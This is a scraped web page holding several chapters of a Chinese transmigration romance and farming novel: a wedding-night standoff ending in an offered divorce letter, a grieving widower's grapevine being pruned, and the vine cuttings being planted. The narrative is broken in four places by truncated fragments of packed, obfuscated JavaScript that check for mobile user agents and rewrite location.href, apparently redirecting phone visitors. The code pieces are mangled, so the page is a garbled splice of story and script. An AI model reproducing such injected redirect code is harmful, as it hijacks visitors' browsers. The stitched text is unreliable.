l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991870|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 眼不见心不烦。趴在那，眼一闭，心一横，这事忍一忍就过去了。 应该很快的吧。庄聿白不经意地往孟知彰身上，打量了两眼。肩宽腿长，腰身□□，至少八块腹肌打底。庄聿白又没那么确定了。 身后脚步再起，很缓很轻，步步逼近。方才英勇就义的气概一下泻了，心里露出怯来。双腿也开始不听使唤，甚至有些发软。 庄聿白支在床边，心中想着孟知彰方才说的心甘不甘之类的话，不住给自己打气：我是心甘情愿的，兄弟！真的，100%心甘情愿！ 脚步在身后停下，那么近，那么真实。庄聿白脖颈一阵发麻。 “庄聿白。”孟知彰唤了一声，声音很沉，如同某种梦语，又似准备了很久的试探。 庄聿白只觉浑身一紧，头顶呼吸轻轻洒在自己的头发上，熟悉的清洁皂角味。他全身神经被猛地揪起。 “……嗳。”喉咙中不受控挤出一声回应。 背对对方，庄聿白看不到孟知彰的模样。但他自己的影子则被完全盖住，微皱的细葛床单上只有那一团影子，生猛壮硕，压迫感十足，侵略感十足。 ……很顶。 庄聿白觉得自己要窒息了，揪紧床单的手，竟微微发抖。他不知道自己该怎么配合，他更不知孟知彰会怎么做。 事已至此，怎么做，都随他。 庄聿白一动不动盯着压到面前的影子，每一个细微动作都能扯起他周身的神经，让他不受控地浑身缩紧。 身后一只有力胳膊伸过来，擦着庄聿白的肩膀，似乎要将人从后搂抱住……庄聿白感觉马上要站不住了。 一个贴子递到面前，庄聿白撑起最后一丝力气看清上面的大字： ……？！ 和离书。 “我说过，我希望我们的亲事是你情我愿的。婚书，在我孟知彰这里永远有效。和离书，庄聿白随时可以启用。” 庄聿白张张嘴，极度的情绪翻转让他几近失语。或许他自动过滤掉孟知彰的前半句，现在他满脑子只有和离，孟知彰要和他和离。 庄聿白有些反应不过来。 和离的话，那金玉满堂不搞了？茶炭不做了？新型肥田堆肥术不弄了？你孟知彰去府城赴试的钱也不攒了？ 没有钱，不参加科举，你那些报国安民的远大志向怎么办？ 当然这些都不是最主要的。 最最让人不能接受的是，我裤腰带的结都帮你孟知彰调好了，你告诉我要离婚！ 对，就这样，轻轻一拽就能开。很方便的。 甚至腰弓几分，腿抬多高，进行时自己睁眼还是闭眼，也都想好了。 以及万一动作过于激烈，自己忍不住想叫，该怎么办？若叫出来扰了兴致……没关系，已经找到解决办法：随时咬住一截床单…… 最后的最后，庄聿白还做足心理建设，报恩要有报恩的态度哪怕超出忍耐限度，他庄聿白也绝不说半个“不”字。 轻重由他；深浅，也由他。 就这样，还不够么？结果你……你告诉我，要和离！ 庄聿白情绪复杂，心绪混乱，还有些不甘心。 和离不和离的，他无所谓。他眼下只想知道：今晚这恩，还报不报？今晚这爱，还能不能做？ 52. 禾苗 “之前之事，我都知道了。” 孟知彰将庄聿白从床边引到椅子上坐了。 庄聿白心中一凛，之前什么事？他看向孟知彰，试图从对方眼睛中找到些蛛丝马迹。灯光晦暗不明，眼前人的眸底也晦暗不明。难道他知道了自己是穿越来的，一直装失忆骗他？ 庄聿白正想着如何狡辩，对方又说：“今后，只要有我孟知彰在，就绝不会让别人动你半分。” 孟知彰看着面前瘦削单薄的少年，一双无辜的黑眼睛越睁越圆，眼尾的泪痣也愈发明丽，背至身后的拳不觉紧了紧。那些加害之人所受的惩罚，似乎还远远不够。 庄家已断绝关系，庄聿白已无退路。孟知彰将婚书重新郑重递到庄聿白手上，重申：“婚书，在我这里永远有效。” 婚姻，向来是父母之命媒妁之言。但向来如此之事，便必须如此么？孟知彰又看了眼留在桌面上的那封和离书。他希望与自己携手并肩之人，自愿走向自己。而不是出于别人的，更不应迫于形势而不得不和自己绑定。 良久，孟知彰还是说出了那句：“若你在此住不习惯，家中之资，可以全部带走……” “不不，住得惯，住得惯！”庄聿白忙打断孟知彰，不知出于礼貌还是什么别的。有一说一，“只是不习惯当前，嗯，这样的……身份。” 孟知彰眸子沉了沉，没说话。他已经给出了选择，他在等一个决定。 庄聿白跟着对方视线移向桌面，“和离”二字异常扎眼。他立刻意识到自己的冒失，不该此时质疑自己的身份的，这与当面提分手、还不发好人卡、甚至将递来的花束砸到人家脸上，有什么区别？ 这太唐突，太不礼貌了。 “你我原有婚约，而且今日你救了我，还替我报了仇。我不是那恩将仇报之人……所以，我是不会和离的。” 庄聿白计划好了，今晚“报了恩”，就拿着和离书一别两宽，一走了之。谁知嘴巴快过脑子，话说出口，他才意识到自己下了什么决定，给出了什么承诺。 庄聿白不确定是不是错觉，听闻自己不会和离，孟知彰的眉间瞬时舒朗开来。 现在满世界都知道自己是孟知彰的未婚夫郎，强行离开，也没甚意思，倒是留下来似乎对自己更有益处，也更容易逆袭飞升。做事要权衡利弊，做事要讲究投入产出比。 庄聿白默默又把自己劝好了。 “你方才也说了，你不想要那些‘理所应当’。我觉得我们……之前的相处模式就挺好的。”庄聿白提出了留下来的附加条件，声音却越来越小。 “之前的相处模式？” 庄聿白留意对方的神情，似乎并没有不悦，忙一鼓作气：“对啊，仍做好兄弟！我赚钱，你科举，咱俩合作共赢。相信我，以这样一种纯洁又简单的金钱利益维系起来的关系，坚不可摧。就像那句话说的，‘兄弟同心，其利断金。’” 庄聿白不记得孟知彰是如何被自己说服的了。他在一种情绪微醺的状态下和对方达成“君子协议”，并口头约法：人前是夫夫，关门做兄弟。 * 除了牛家和乡邻待自己更加热络之外，庄聿白认为这种“半已婚”的日子和之前似乎并没什么两样。 “金玉满堂”有了书郎夫郎这层身份加持，订单比往常更多一些，连货郎张日常售卖的份额也加了一成。兰花炭的制作走上正轨。好在这两项都有乡邻来帮工，生意愈发红火，但供货和品控方面完全跟得上。 夏季用炭量相对较少，牛家炭窑除了正常供应缘来茶坊的茶炭外，其他柴炭的量控下来。庄聿白却建议兰花炭可以每次多做一些窖藏起来，以备不时之需。 “不时之需？缘来茶坊不是定时定量么，偶有加单之时也会提前告知。”牛大有有些看不懂，不过庄聿白说的，他都听。 牛家炭窑中的火苗越烧越旺时，田中禾苗卖力生长，恨不能两天长出一片叶。 因田地离得近，施过肥的苗情比未施肥的肉眼可见地壮实，禾杆粗健，叶片肥厚，似乎打根基里憋着一股牛劲。 跟着庄聿白堆肥的人家自然是欢喜的，不时来问需不需要追肥，何时追肥。现在离抽穗灌浆还早，庄聿白还是让乡邻回去准备新一轮堆肥的材料，凡是赶早不赶晚。当然他也清楚，不到米粮归仓那一刻，一切都是未知数。 此前坚决反对新型堆肥术的，看到实打实的秧苗着实眼馋，有人也动了心思。隔三差五“路过”一下，跟庄聿白聊上几句。庄聿白没将话挑明，只有意无意提及堆肥材料。有心的，自然回家就着手收集去了。 半尺高的禾田郁郁葱葱，庄聿白站在田埂上，伸手去探水下的苗情。根系发达，扎得也深，这很好。哪怕秋收时每亩能多打几十斤稻米，也算值得了。 庄聿白掬水洗掉手上泥巴，他想着脚下的鞋子刚上脚没几日，弄湿了就不好了，打算微微垫脚想往后退半步再站起来。奈何田埂不平，不等他直起身，重心便失了衡，“哎呦”一声，直直朝禾田摔去。 这下好了，整个人掉进水田，不仅鞋子全湿，就等着变成“泥猴”吧，说不定还能为村中情报站添上一个劲爆谈资。庄聿白心中虽懊恼，但也无能为力。满眼青绿正朝面前撞过来。 无能为力，庄聿白闭上眼睛接受现实。柔软的禾苗抵到脸颊时，庄聿白忽觉身下一轻，被人打横抱在怀里。 熟悉的胸膛触感，熟悉的皂角味道，庄聿白闭着眼已经猜出来者是谁。 “谢谢孟兄。”庄聿白的心脏，正大光明跳了又跳，毕竟是从落水边缘救上来的，突然受惊后的脸红心跳很正常。心绪稍稍平复后，他忽然意识到这是一个标准的公主抱。 两个大男人搂搂抱抱，这成何体统，忙道：“孟兄，放我下来！” “你走不惯田埂。”孟知彰似乎自动屏蔽了庄聿白的请求。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996116|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 庄聿白在孟知彰怀里扑腾双腿，试图自己下来。就像一只小奶猫，不想被主人抓抱就在那伸爪闹腾，可在绝对悬殊的力量压制面前，凭他如何挣扎，终究无济于事。 孟知彰手臂用了力，面上倒神情淡然，一双眸子看着前方，云淡风轻得像是同旁人说话：“再动，我们两个就要摔进田里去了。” 对方手臂上那一下让庄聿白身体猛地一紧，这提醒了他：自己端坐在上的大腿，拧不过别人胳膊。 庄聿白放弃无谓挣扎：“光天化日，被人看见如何是好？” “看见又如何？你是我夫郎。”这理由无懈可击。说好了的，人前做夫夫。 孟知彰抱着庄聿白，踩着田埂往小路方向走。微风振起的衣角，轻轻拂过伸到禾苗叶片。青衿、绿苗、蓝天、白云，两人交叠，一双影子映在水中。 孟知彰走得很稳，很慢，不时停下来，跟庄聿白请教农事管理的问题。 庄聿白攥紧对方肩头衣衫，提醒对方：“孟兄，这些问题等咱走出这片田后可以慢慢聊。” “好。”孟知彰口头应着，脚下却停住：“这两棵秧苗之间的空间有些小，你看是否需要除去一棵？” “哪棵？”庄聿白扭过头顺着孟知彰的视线往禾田看去。浓郁郁一片，根本分不出指孟知彰指的是哪两棵。 不料身下手臂缓缓移动，庄聿白就这样被人托着，直接送到水田上方。 “哎——”担心自己掉入水中，庄聿白下意识将手臂攀上孟知彰的脖子，紧紧搂着。 “就是这两棵。” 看就看嘛，好像也没这个必要非把人递到禾苗面前。庄聿白心中叹口气，不过又能怎样，落在人手上，身不由己。 “看到了。没关系的，不影响。”满天禾苗几乎一个模子出来，庄聿白扫了一眼随便给出个答案。他觉得自己身子往水中更斜了些，担心对方核心不够，俩人一起落水，忙道，“孟兄，我们快回家吧。” “真的不影响？” “真的。”不是错觉，坐在对方臂弯中的庄聿白明显感受到自己在往田中滑落，丝丝寸寸……鞋子已经碰到迎风摆动的苗叶。 “孟兄……我要掉下去了。”庄聿白真的急了，双手直接搂住孟知彰脖子，双腿用力抵着身下胳膊用力挣扎向上爬。情急之下，也顾不得分寸，顾不得体统。 “抱歉。”孟知彰将人往身上拢紧，带着庄聿白缓缓直起身，继续沿着田埂慢慢向前。 看到家门时，孟知彰才将人放下。云无择带着应龙已在门前等候多时。他有一事要同孟知彰和庄聿白商议，或者说，请二人当说客。 “云先生还是不同意？”孟知彰见云无择眉宇愁云凝滞，便猜出一二。 “是，长庚师父劝说无果，又托主持来劝说过两次。”云无择摇摇头，摸了摸拱着小鼻子来安慰他的应龙，“这次阿爹态度很坚决，还动了气。” 53. 武举 西境战事又起，一停多年的武举重新启动。 上层目的很简单，为前方输送战力。但对心存四海之志之士，何尝不是一个机遇。 南时先生“解惑条子”送来的第一时间，孟知彰便将这个消息同步云无择。飘然携一剑，足踏浮云任所之的仗剑守疆、建功立业的快意人生，谁人年少气盛时，不憧憬希冀、心向往之？ 云无择不理解为何阿爹不允许自己像孟知彰一般去科举求仕，去成就一番事业？既然科举不行，武举大抵总可以尝试一二。 谁知话还没说完，向来随和的阿爹，竟狠狠训斥了自己。云无择第一次见阿爹生这么大的气。他小时候调皮，把院中葡萄树当秋千，生生折断两大根藤蔓，阿爹也并未这般动怒。 云无择在父亲坟冢前整整罚跪三天，刘叔都没能来探视一次，他便知道自己这次是彻底触到了阿爹的痛处。 云无择将此事告诉长庚师父，素日最疼自己、几乎对自己百依百顺的长庚师父，这次竟然选择和阿爹站在一起。 云无择不敢闹阿爹，却在长庚师父这足足使了几天小性子。最后拿出杀手锏，“威胁”长庚师父若不帮着去劝父亲，他们的师徒关系，就到此为止。 长庚师父四十岁出头，冷峻坚毅，魁梧巍峨，一身正气凌云，眉宇间永远藏着怒目金刚的威严。 云无择自幼便认识长庚师父，那时他已经是元觉寺武功奇绝的高阶武僧。 听闻长庚师父是个孤儿，早年在沙场饮风舔血，戎马厮杀。后来应该碰到重大人生变故，轻生时恰巧被云游到那里的住持救下来。之后就跟来了元觉寺，成为一名武僧。 到底是什么变故无人知道，死人堆里摸爬滚打出来的硬汉，最后选择悄无声息了结此生，一定是遇到了过不去的坎。长庚师父从不提起那段过往，众人自然也不会故意去揭别人伤疤。 寺中给长庚办了度牒，住持见他尘缘未了，一直并未给他剃度。某种意义上来说，长庚师父只是个俗家弟子。但长庚师父武功好，人也古道心肠，所以众人都视他为德高望重的大师父。只是面上有些冷，整日离群索居的。 别人都道长庚师父肃穆威严，从不会笑。除了云无择。 云无择的眼中，长庚师父是最和善的，看到自己师父眼睛立马弯起来，这让他那刚毅的脸部轮廓顿时柔和不少。 应龙就是长庚师父送的。跑得快，耐性好，爆发力十足，师父说和三五只成年恶狼厮杀也绝不会落下风。 师父除了教习自己武功，还经常带自己去山中“演练”。竹节为阵，撒石成兵，亲自给自己演示若是两军对垒该如何排兵布阵，如何出奇制胜。 当然每次演练结束，他都会郑重告诉自己，生命最重要，万事永远不要逞能。与战死沙场、马革裹尸相比，师父宁可你是一个逃兵。 “云无择，你要记住：好好活着，比什么都重要。”这是师父对他说过最多的话。 长庚师父听云无择要去参加武举，向来对云无择百依百顺的他，这次直接摇了头：“不行。师父教你沙场征战，只是以防万一，并不是让你去那打打杀杀的地方。你就同你阿爹好好在山中待着。若缺什么，或者想要什么，尽管同我说。” 云无择也上了脾气，以断绝师徒关系、此生再不相见，来胁迫长庚师父去劝说云先生同意。 只能说云无择是懂得拿捏长庚师父的。向来沉稳严肃、心如止水的长庚师父，慌了。他甚至跑去佛前跪着，希望佛祖能告诉他如何应对这个小祖宗的胡搅蛮缠。 佛前跪了一天的长庚师父仍然没同意云无择的请求。断绝关系也比去那不见天日的战场要好。 “师父，我去参加武举，又不是直接去送死。为何你与阿爹就这么认定我选了一条不归路呢！” 接下来很长时间云无择都不再见长庚师父。还把应龙送去了寺里。绝交就绝交得彻底些。你的狗，也还你！ 后来长庚不知道如何想通了，亲自将应龙送回来，并同云先生谈了很久，很久。连寺中住持也请了来。 云先生，这次非常坚持。甚至长庚师父承诺自己寸步不离跟着云无择，云先生还是没点头。 住持有些不理解。同样不能理解的，还有孟知彰。 “知彰”这个名字是云先生起的。“君子知微知彰，知柔知刚，万夫所望。” 别人家的孩子，云先生尚且希望其能够成为众望所归、建功立业的君子。为何他自己的孩子，他在这山中苦守一生之人留在这世间的唯一骨血，却只能青山深林陪他守着这坟冢，守着他心底那份永远回不去的过去？ 云无择能文能武，云先生自小对他要求严格，父亲骆瞻是庆鸿9年二甲第八名进士出身，他走科举之路应该也是人之常情，但孟知彰知道云先生是坚决不会同意的。 云无择引着孟知彰和庄聿白，一步一步往山林深处走去。应龙似乎知道要去哪里，尾巴不觉下压，晃动的幅度明显小下来。 杂树灌木中，一条齐整小路平铺而上。云无择示意应龙停下，整理衣襟后，款步向前走去。孟知彰和庄聿白默默跟在后面。 白石堆砌的一个圆形坟茔，静静躺在山中。满覆的青苔被打理得齐整有序，无一株杂草。但是从石缝被风雨侵蚀的裂痕中，还是能看到十数年时间的踪迹。 漆黑墓碑上落了两枚新落的枯叶，骆无择伸出手，自然而然将其地拂掉。 衣袖振落间，庄聿白看清碑上的字：骆瞻之墓。庆鸿九年。 云鹤年一直认为，若当年骆瞻没有考中进士，或许这么多年，与他们父子相伴的便不会是山中这座孤坟。 二十五年前，十二岁的云鹤年家中突遭变故，无依无靠的他投奔了家中远亲，也就是当时骆氏之族宗妇王夫人。 骆家是陇西武将世家之后，为摆脱世人对他们族人行伍出身的偏见，正大力推行家学。家中所有子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005649|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侄，包括姑娘小姐们，都是要去读书的。投奔王夫人而来的云鹤年，自然也被扔到家学中跟着读书。 寄人篱下的日子不好过，王夫人对小云鹤年也只是表面情分。人活着，没在学中闯祸被先生揪住，一切便得过且过。 小孩子大多拜高踩低、有慕强心理，世家大族中的孩子更是如此。他们见小云鹤年是个无依无靠的孤儿，个子又小，便时常欺辱他取乐。小云鹤年怕给王夫人添麻烦，大多忍气吞声，被嘲笑辱骂，听听也就罢了。若是他们合伙动手打人，在身上留了伤，也只敢说是自己不小心磕碰的。 小骆瞻日子虽也不好过，总有一个正经骆氏子孙的身份在，同时还有寡母照看着，所以比小云鹤年还是要强很多。 他看不惯别人欺负小云鹤年，每每别人来惹事生非，他便将人护在身后。哪怕身上挂彩，也要同那群小纨绔奋力厮打，绝不认输。寒冬腊月，他见小云鹤年一身单衣、满手冻疮，会将自己衣衫强行穿在那冻得直发抖的小身板上。 在那段晦暗如雨的年少岁月，是骆瞻给云鹤年带来了人世间不可多得的真情和温暖。墨锭分给自己，纸笔分给自己。连骆母偶尔买给骆瞻的一个饼饵，对方都会仔细留下一半给自己，看着自己一口口吃掉后，还心满意足帮自己擦掉嘴角的饼渣。 年少时的情分，简单又纯净；年少时骆瞻给到的温暖，是云鹤年在这人世间最宝贵的财富。 惺惺相惜的两个少年，本以为可以携手走完此生，谁知骆瞻死在了他此生最春风得意、最志得意满的时刻。 庆鸿九年，骆瞻高中二甲第八名进士出身。庆鸿九年，骆瞻死在张榜后的第二个月，客死他乡。 骆瞻死后，骆母不久也撒手人寰。料理好骆母后事，云鹤年此生已了无牵挂，原想随骆瞻而去，却发现自己已有身孕。 从此，未亡人云鹤年带着遗腹子，开始为骆瞻守墓，这一守就是十八年。 他守着他的坟冢，守着他送他的葡萄树，守着他留给他的骨肉一点点长大，更守着那再也回不去的年少曾经。 年少时那份不可多得的温暖，照亮了云鹤年的此前岁月。往后余生，它也将陪他捱过每一个午夜梦回时的悲恸心悸。 每年冬季葡萄叶落之时，云鹤年都会大病一场，卧床不起。直到春天新的叶片长出来，他的身体才开始慢慢恢复。 在别人眼中，院中长着的不过一架寻常葡萄树。可对云鹤年而言，它的每一次发芽、长叶、抽蔓，都像是他又回来了一次。 回来陪在他和儿子身边，向他问好，同他讲话，听他讲儿子今日饭食吃得香不香，低头问他鬓角何时长出这许多白发，当然也听他絮语，若他还在，两人此时会不会正趁着漫天晚霞牵手在林中散步…… 再次走近云家这个院落时，庄聿白觉得连色调都变得清冷萧肃起来。 刘叔从门内迎出来：“孟公子，庄公子，先生在家等候多时了。” 54. 修剪 葡萄树荫下，一清瘦矍铄之人静静坐在竹椅里。或许身子弱，三伏盛夏，腿上仍盖着一条冰台色凉毯。 庄聿白知道，这便是云鹤年。 云鹤年见他们来了，将手中半杯茶放在桌上，直起身，眉目攒上些笑意，请孟知彰和庄聿白在一旁的茶台旁落座。 庄聿白随孟知彰行礼落座，却忍不住打量细细打量眼前之人。 眉眼柔和恬淡，阅尽世间沧桑，却保有一份澄澈的干净。当然这份孤云野鹤的闲适之外，若是静下心细品一二，很快就会发现那眉宇间化不开的一抹遗憾和哀伤。 “彰儿，你有些时间没来了。”云先生似乎永远亲切随和地笑着。 孟知彰忙起身告罪：“彰儿错了。今后定常来同先生问安。” “还有我，还有我！”庄聿白这位孟家新晋夫郎也忙跟着起身，站在孟知彰旁边，扬起笑脸，“若先生不嫌烦，我也常来！” “好。都来。你的金玉满堂很好，今日总算是见到你了。”云先生温和笑笑，让他们快落座，不要客气。 云鹤年左手边虚设一个椅子，前面也放一杯茶，和他自己那杯一模一样。刘叔给云鹤年续茶时，同时也会为那杯茶也续上。 今日新捡的葡萄落叶，正妥善摆在那虚设的椅子上。 云鹤年让刘叔给小夫夫拿了些果子，又道：“彰儿近日茶艺如何？前日长庚亲自送来新制的一批兰因茶饼。” 提到长庚时，云鹤年特意看了儿子一眼。云无择明白阿爹埋怨自己去寺里搬救兵之事，忙闪烁眼神，低下头暗暗给孟知彰递眼色。 孟知彰放下手中茶盏，恭敬道：“或者彰儿现在为先生制茶一盏，先生品评一二？”又道，“方才与云兄过了几招，云兄剑术越发好了。不知近日这茶艺如何，或者与我比试一番？” 刘叔知道这是在哄他家先生高兴，忙将制茶所需茶饼、工具器皿及以及水等摆好，请两位大公子来制茶。 云无择和孟知彰会心对视一下，“用心”比试起来。 两人较劲时，庄聿白则跑到云鹤年身边陪着，有一搭没一搭说着话，先是夸这果子好吃，又提及方才刘叔制的茶水好，绕来绕去终于绕到重点——头顶这架葡萄。 庄聿白很小心，语气小心，用词也小心，唯恐哪句话说得不合适，刺痛了眼前这位随和温柔又敏感的先生。 云鹤年仍然云淡风轻地听着、笑着：“阿择喜欢吃葡萄。再过一个月最早挂穗的那几串应该就能熟了。刘叔的葡萄渴水最拿手，到时你们都来尝尝。” 庄聿白陪云鹤年观战。云鹤年时不时纠正下场上二人的动作，同时不忘夸赞庄聿白研制的这茶炭。好用，耐烧，无烟，比往常用的柳条炭升温快，观赏性也更佳。 场上认真比拼。拆茶饼，碎茶，研茶，筛茶，置盏润茶，茶瓶注水，茶筅击打……孟知彰和云无择素日习武，制茶动作又快又利落，尤其击茶环节，更是得心应手。须臾，茶盏中茶膏越击越多，奶油般的细腻，初雪般洁净。 制茶结束，两人熟练分茶，在场每人皆有份。当然云先生身旁虚设之席，也有份。 庄聿白上次见识到云无择制茶。他没想到原来孟知彰也会。藏得很深啊。家中银钱有限，接人待客、平时饮用，都是庄聿白花几十文钱买来满满一大包的粗茶，他也说好喝。不挑，好养活，这很好。 他喝了口云无择制的茶。嗯！出品还是那样稳，和上次一样，清泉滑过，茶香浓郁。等他端起孟知彰那盏时，余光瞥到对方眼神，庄聿白心中不由浅笑一下。他没想到孟知彰竟像个刚交了考卷的学童，等分数时也会生出几分紧张。 庄聿白没给评价，他笑着等云鹤年。云鹤年笑笑，放下茶盏：“刘叔，你觉得谁更胜一筹？” 刘叔笑红了脸：“先生自己不想当坏人，倒来难为我！要我说啊，我觉得都好，都好！” 席间气氛明显轻快起来。 庄聿白向来讨长辈喜欢，此前他有事求外婆时，溜须拍马的第一步就是捶背捏肩。说话间，试着提出给云鹤年捏肩。 谁知云鹤年竟答应了。 刘叔轻咳一声，默默离了席间。不一会儿孟知彰跟出来。 进门起，刘叔就知道这两位是云无择请来当说客的，只是来了这半日却半句不提武举之事，倒是围着这“葡萄”说个不停。 “先生将这葡萄树看得比自己的性命都重要，是绝对不会答应修剪的。不用白费精力。” 去岁一个雨夜，偏偏又起了大风，满树葡萄叶在风雨中乱飞。原本服了药好容易睡下的云鹤年，听到风雨大作，便什么都顾不得了，冲进雨中就要为这葡萄树撑伞。风大雨大，寻常油纸伞杯水车薪，根本无济于事。 但云鹤年根本不听劝，折腾了大半日，最后陪着这葡萄树一起淋了场雨才作罢。 刘叔是想请孟知彰让庄聿白换个法子劝说。 孟知彰却明白，庄聿白这是切对脉了。只要云先生肯为葡萄修剪一事松口，云无择参加武举之事才有商量的可能。 树且如此，何况于人？ 挚爱之人留下的树木尚且不忍伤一枝一叶，挚爱之人留在这世间唯一个的骨血，他又怎会让其去面对世间风云？ 孟知彰再回到席间，明显感觉气氛有些不对。 他将目光看向庄聿白。庄聿白垂眸不语，眉间多了些疼惜与无奈。 刘叔以为年轻人说话没轻重，冲撞了他家先生，忙跑到云鹤年身旁，紧张得上下检查，问有没有哪里不舒服，需不需要起身透透气，或者去榻上休憩一下…… “刘叔，”云鹤年抓住刘叔手腕，“去准备下，庄公子要为这葡萄树修剪一番。” “……”刘叔以为自己上了年岁眼花耳聋，跟着重复了句，“修剪葡萄树？” 刘叔从云无择眼中得到的答案，他口张了又张，一时不知说些什么。 云鹤年同意修剪葡萄树。小辈们愿望达成，原该高兴，可每个人的心中都压了块石头，棱角锋利，一不留神便能伤痕累累。 院落外晴空万里，葡萄树下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015278|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却被一股湿漉漉的情绪笼罩，没来由让人心伤，没来由让人有些喘不过气。 不多时，修剪要用的剪刀、扶梯等皆摆在树下。 庄聿白却开始为难，他看看孟知彰，将目光投向云无择。 云无择明白，他深吸半口气，慢慢蹲在云先生身边，小心翼翼说：“阿爹，我陪您去林中散散步？或者陪您……” “无妨。”云先生稳坐椅中，稍稍抬手，制止儿子。声音微哑，强撑气力，透出一种从未有过的疲惫。 一阵微风拂过葡萄叶缝，窸窸窣窣，如细语，如低诉。云先生坐在树下不觉抬头，耳边那缕斑白碎发不住微微颤动。 庄聿白不敢回头。他知道此时在场的所有目光，全聚在自己身上。心思迥异，各怀期待。或者只是单纯看着，极力放空心绪，极力稳住心绪。 一个大木盘捧举到面前，缟素满铺。庄聿白浑身打了个冷战，心被狠狠揪了下。 他明白这意味着什么。 在他，这不过是例行公事的一次葡萄树夏季修剪。但隔着十八年风霜浸染、沧桑尽尝的目光，这无疑是重新为那离开之人整理仪容，重新为那回不去的过往安置记忆。 剪刀紧紧握在手，庄聿白踩上一架小梯。孟知彰接过刘叔托着的木盘，紧紧守在旁边为庄聿白看扶着小梯。 近二十年未曾修剪，藤枝随意生长，肆意蔓延，这种自然生长状态倒不是不行，只是难免留下病患虫患。枝条叶片过于浓密，透气采光差，也影响葡萄植株成长。 攀上葡萄藤条的一瞬间，庄聿白满心满眼都是如何更好更快更科学让这棵近二十年树龄的葡萄树重焕新生：他切开枯藤，他除去病叶，他将长势过快的新枝也剪去一截，适当控旺…… 或许出现了幻觉。 每片叶字、每个枝桠、每条藤蔓剪下，庄聿白都会听到一声极深沉、极悲凉的叹息。 那不是修枝剪叶，那是骨肉碎裂的声音…… 修整过后的葡萄架，疏朗不少，抬头已经可以瞥见晴好的天光。 阳光透过叶片缝隙漏下来，丝丝缕缕，缠上云鹤年瘦长又苍白的手指，缠上袖口处露出的半截手腕。 阿瞻喜欢牵自己的手腕，还会偷偷使坏，指腹不时摩挲腕上的那点红痣。 光线轻摇，云鹤年眉间舒展，似感受到一点久违的温暖，如阿瞻覆在自己手背的掌心，永远那样体贴，那样安心。 云鹤年抬头，眸底光点斑斑。当年阿瞻的笑容，也是这般让人沉醉，让人不由沉溺。 不知过了多久，云先生忽然起身，一言不发急匆匆朝门外迎去。 云无择忙跟上去扶住。透过单薄的衣袖，阿爹瘦弱的胳膊在微微发抖，整个人都在微微打着颤，口中似在呢喃一个名字。 “……阿爹。”云无择试着小声唤了声。 云鹤年站在原地，眸中一怔，良久缓过神来，似有不甘地将迎到半空的手，缓缓收了回来。 叶间风起，他恍惚以为…… 是故人归来。 55. 移栽 葡萄树上修剪下的藤条枝叶，齐整堆在云家院内的那方青苔之上，一片叶子、一根细蔓也没少。 以现代科学的冰冷视角来看，这些藤条多数不符合扦插标准，而且葡萄最佳扦插时间在春秋两季。但在庄聿白眼中，眼前这些枯藤细枝，就是最好的扦插藤条；当下时节，就是最好的扦插时间。 每两个芽点截为一根，庄聿白尽最大可能截出120根扦插枝条，小心翼翼地放进备好的竹篮中。干苔吸足水铺在篮中，保持枝条新鲜湿润。 云鹤年从旁全程看着，不说话，只静静坐在椅子里。云无择却觉得阿爹的视线一会儿很远，一会儿又很近，多数时间似乎并不在看眼前的修剪场景。 留下的残枝断叶，刘叔仔细收起来，和往常一样送去院外坟墓旁的落叶冢好生埋葬。 孟知彰和庄聿白带着一篮枝条，正要起身辞别。云鹤年站起来，缓步走近，就轻轻掀开篮中湿糯的苔藓层，伸手抚摸其下的新切伤口。 就像一场告别，独属于他自己的告别。 新生，终归要以裂骨之痛为起始。这是必经过程，这也是逃不过的代价。 和这一篮葡萄枝条一起带回家的，还有一篮山中收集的腐殖土，庄聿白计划用来做葡萄扦插苗初期生根阶段的培植土。 此前的庄聿白满腔热血，对葡萄藤志在在必得，也自信有能力说服云先生让他修剪葡萄藤，所以他早用当年生柳树枝，自制了一大桶“生根水”备在那里。 可满满一篮葡萄枝藤带回来后，庄聿白却并没有想象中那样意气扬扬，更没有得偿所愿后的踌躇满志，甚至有些怅然若失，闷闷的，带着淡淡的忧伤。 无论从哪个层面讲，这些葡萄枝藤，都值得被珍重再珍重地对待。 庄聿白用山中带回的腐殖质和家中制作的肥料配比出葡萄专用培植土，在菜园中开辟出一片只有小半天日晒的地方来育苗。 所有枝条从篮中取出后，在生根水中泡了两刻钟，趁着日头偏西、阳光温和的时段，一根一根插到疏松透气的培植土中。每隔半尺远一棵。藤枝直立，上芽点朝上，将下芽点没入土中。 